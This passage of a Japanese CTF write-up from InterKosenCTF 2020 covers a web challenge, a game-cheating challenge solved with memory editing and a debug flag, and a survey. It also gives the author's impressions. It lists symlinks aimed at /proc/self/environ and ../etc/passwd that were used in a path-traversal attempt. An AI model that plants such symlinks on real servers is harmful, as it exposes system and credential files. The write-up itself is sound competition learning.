lrwxrwxrwx 1 tan tan    18 Sep  6 14:25 proc_self_environ -> /proc/self/environ

pas -> ../../../etc/passwdは存在せずpass -> ../../../../etc/passwdが存在したため、本Webアプリはユーザーディレクトリの2つ下で動いているようだったので、各種flagファイルの探索は../../までにとどめています。 うーむ、恐らくもう少しだったと思うのですけれども、解けなくて残念です。 なお一時期、誰かがtarに相対パスのファイルを仕掛けたのか、ユーザーディレクトリ直下にflagファイル(内容は無関係の画像)が設置されていました。Discordで運営の方にお知らせするとすぐに対処してもらえました。 (追記: 他の方のwrite-upによると、相対パス出力でテンプレートファイルを改竄して任意コード実行(Server-Side Template Injection; SSTI)させると解けるそうです、凄い: InterKosenCTF 2020 WriteUp - Ryoto's Blog )

[misc, cheat] Tip Toe

Fall Bozos: Ultimate KosenCTF
The timer is of integer type.

配布されたファイルを展開すると、tiptoe.exe, README.txt, その他リソースが含まれていました。README.txtには操作方法が記述されていました:

How to Play:
 Run to the goal across the tiles!
 Some of the tiles are fragile.

How to Move:
 W key     - Move forward
 A key     - Rotate left
 D key     - Rotate right
 Space key - Jump

最初はWindows サンドボックスtiptoe.exeを起動しようとしましたが、ウィンドウが表示されてすぐ終了しました。このCTFなら大丈夫だろうというわけでホストOSで実行しました。 内容は、キャラクターを操作して奥へ到達させるものでした。途中ではタイルを渡る必要があり、タイルによっては触れると落ちます。どのタイルが落ちるか落ちないかはゲームを起動させるたびにランダムで決まるようです。 IDAで見るにOpenGLを使っているので座標等には浮動小数点数を使っているだろうと予測しました。うさみみハリケーンの「メモリ範囲を指定して検索」で数値の変動から絞り込むことで、キャラクター情報のアドレスを特定しようと思いました。

  • 向き: 1箇所に特定できた、Aキーの左回転で増加、Dキーの右回転で減少した、改竄することで向きを変更できた
  • 奥方向位置: 5箇所ほど候補の場所があった、3つは完全に同じ値で、1つはわずかに異なる値、もう1つは+16ほどされた値だった(カメラの位置?)、改竄しても即座に元の値に戻された

x32dbgを使って改竄を復元する箇所を特定しようとしましたが、分かりませんでした。 その後ゲームを普通にプレイしてクリアは出来ましたがTips: Finish more quickly to get flag!と表示されるだけでした。その後もなるべく早くクリアするよう(チート無しで)遊びましたが、表示は変わらないまま終わりました。 (今問題説明を見直すと、単調増加する整数値がタイマー値である可能性があると思えてきました……そこを元に改竄できたかもしれません、無念) (追記: 他の方のwrite-upによると、HSP製なので逆コンパイルするとdebug実行用のオプションが分かり、そこから時刻等で絞り込めるようです: [InterKosenCTF 2020] Tip Toe | KogCoder Blog CreateWindowの引数等からHSP製とは分かっていましたが、逆コンパイラが存在したのですね、凄い) (追記2: 試しにゴールしたところでメモリダンプを作成して、それをstringsにかけてみたところ、上記のTipsの近くにargv[1]='debug' : debug mode activatedを確認できました。debugモードではタイマーが表示されるのでうさみみハリケーンでタイマーと同一であるDWORD値を探して改竄すると、意図通りにタイマー表示へ反映されました。ゴールした後でもタイマー値の改竄は有効で、タイマーが99以下の場合にフラグが表示されました: KosenCTF{Let's_play_a_game_other_than_CTF})

[survey] Survey

Please give us your feedback here.

終了2時間前からこのwrite-upを書き始め、終了10分前にsurveyの入力を始めたのですが、気づいたら入力途中で終了時間を過ぎていました(お馬鹿)。surveyは書きました。 surveyを書き終えるとフラグが表示されました: KosenCTF{w4s_th1s_ch4ll3ng3_h4rd_4_u?}

感想

  • 問題の半分も解けませんでした。正解できたのは土曜日のうちだけで、日曜日は唸っているだけでした。
  • それでも問題を解けた時は喜びにあふれました。もっと喜べるようになりたいです。
  • rev問題は分からなかったらangrに投げる発想でいましたが、結局それでは1問も解けませんでした。きっとこれが健全なのでしょう。
  • Discordのctf-logチャンネルで各問題正解時にbotが書き込んでくれるのですが、その際3番目までならメダルのリアクションを付けてくれます。楽しくて良かったです。(追記: write-upの書き込みにもメダルが付けられていて笑いました)(追記2: 運営の方が手動でメダルを付けてくださっていました、ありがたや。 InterKosenCTF2020 開催記 - ふるつき )
  • trilemmaを2番目に解くことが出来ました。土曜日22時に公開された問題でして、公開直後に取り組めたのが功を奏したようです。嬉しかったです。
  • 特定期間開催のCTFで.exeを見かけたのが初めてで目新しかったです。常設CTFのksnctfでは見たことがありましたが、コンテストではUnixがメインでWindowsは不必要という印象でした。
  • surveyは時間に余裕を持って、しっかりと時間内に終わらせましょう。(今回はGoogleフォームが利用されており、回答内容を後から編集することも出来ました)